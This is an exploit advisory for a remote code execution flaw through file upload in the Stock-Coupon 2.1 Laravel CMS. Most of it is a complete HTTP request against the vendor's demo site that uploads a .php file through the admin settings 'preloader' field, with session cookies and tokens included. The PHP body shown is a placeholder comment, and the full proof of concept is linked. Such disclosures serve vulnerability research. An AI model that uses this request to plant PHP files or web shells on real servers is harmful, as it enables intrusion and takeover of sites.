## Title: Stock-Coupon-2.1 File Upload - RCE
## Author: nu11secur1ty
## Date: 12/02/2023
## Vendor: https://mediacity.co.in/mediacity/
## Software: https://codecanyon.net/item/stock-coupon-laravel-coupon-and-deal-cms/22659520?s_rank=12
## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload
## Description:
The "image-block" parameter is vulnerable to File Upload and RCE attacks, it is not sanitized correctly.
The attacker can upload a virus directly on the server by using this web vulnerability, and then he can execute it, this can be
the end of this server depending on the scenario! In this case, I just uploaded a php exploit that renamed the favicon node to favicon_hacked, which is CRITICAL! =) I am a Penetration Tester, not a stupid cracker! Thank you all!
STATUS: HIGH-CRITICAL Vulnerability
[+]Exploit execution:
```POST
POST /public/admin/settings_update/1 HTTP/2
Host: stockcoupon.mediacity.co.in
Cookie: _ga=GA1.3.241515555.1701243451; XSRF-TOKEN=eyJpdiI6InFoKzR0alZYVHNiZnFKMzZIeS90K2c9PSIsInZhbHVlIjoiZDR4RjdsQThLaGl4MUdPOGZLODBhTlB0a2JXYTBtWnV2Z1M4RWxCVFNSL2pvTVp0Z2luUGE1UTJST0JnaFQzLy9pRnNKVm9OWkc2VCtKTE1uM0FqWlVTMFRMZUc2bjU4Umd4c0E2YXBUVXp4bm5xUWZEVHlWSTI1TUFkSXZmU1MiLCJtYWMiOiI2Zjg4YjVkMTRjYzZlZWM5MzNmYWM0NGMzMWVkZjRhZWI5OGJmYTYyMDhiMjY4MmE2YmNjNjYyNzg2YTUyNjEwIiwidGFnIjoiIn0%3D; stockcoupon_session=eyJpdiI6Ilo3ei9yalhBcDdQY2xZVmp3akRuM1E9PSIsInZhbHVlIjoiWnorekhGdmxMZDJVaDBpOHlvQm5MQUR2d2NHVVgvUGpRM00xMEFFL0RZMmJ0NWVaNUhVMHlTRlJSeUhrT3M5VzlNV2ROdTllNDhManVqbUlYM2hBeEIwdjdBc2VkKzcyMTNKQ1FXR3FFKzVMMHZLUVp0bG1WYWRmSXprUVZXM2ciLCJtYWMiOiIxNmEyNGZmMTMzOWYzMDRiOTBlZmYzOTRmYzExNzk4MjM0M2Q3MzMxOTYyNzZiNGNlY2YwMWY1ZWEzODJiMTJjIiwidGFnIjoiIn0%3D
Content-Length: 5749
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Origin: https://stockcoupon.mediacity.co.in
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhXYNu3NlhcrFhAZm
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: empty
Referer: https://stockcoupon.mediacity.co.in/public/admin/settings
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="_method"
PATCH
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="_token"
Qj0TzntMBFG66ixMHTnEwhBX4TJZAeAtINvcoaEI
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="w_name"
Stock Coupon
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="w_title"
Stock Coupon - Responsive Coupons, Deal and Promo Template
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="w_email"
info@mediacity.co.in
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="w_phone"
+61 3 4776 6214
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="w_address"
Ville Parle, LA, US
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="w_time"
10 AM - 8 PM
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="currency_code"
USD
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="currency"
fa fa-dollar
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="logo"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="favicon"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="preloader"; filename="namebasterd.php"
Content-Type: application/octet-stream
<?php
// by nu11secur1ty - 2023
// $3900
?>
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="keywords"
Stock Coupon - Responsive Coupons, Deal and Promo Template
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="desc"
Stock Coupon - Responsive Coupons, Deal and Promo Template
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="footer_layout"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="footer_logo"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="f_title1"
Market
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="f_title2"
Help
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="f_title3"
Join Community
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="f_title4"
Newsletter Subscribe
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="footer_text"
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Nam explicabo vero optio provident,
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="copyright"
All Rights Reserved.
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="m_text"
Get our latest news!!
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="playstore_link"
#
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="app_link"
https://www/appstore.com/
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="is_mailchimp"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="is_playstore"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="is_app_icon"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="btn_title"
Hot Deals
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="btn_link"
#
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="btn_title2"
Trending Items
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="btn_link2"
#
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="is_feat_slider"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="is_recent_deals"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="is_category_block"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="is_store_slider"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="is_blog"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="navbar_img"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="sidebar_abt"
Lorem ipsum dolor sit amet, viri adipisicing elit. Quidem nam incidunt accusamus voluptatum in, vel omnis inventore sunt exercitationem voluptas repellendus, dolorem at recusandae nisi rem.
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="google_analytics"
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="is_preloader"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="is_gotop"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="blog_left"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm
Content-Disposition: form-data; name="catlog_view"
1
------WebKitFormBoundaryhXYNu3NlhcrFhAZm--
```
[+]Response:
```Curl
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/media-city/Stock-Coupon-2.1)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/12/stock-coupon-21-file-upload-rce.html)
## Time spent:
01:17:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>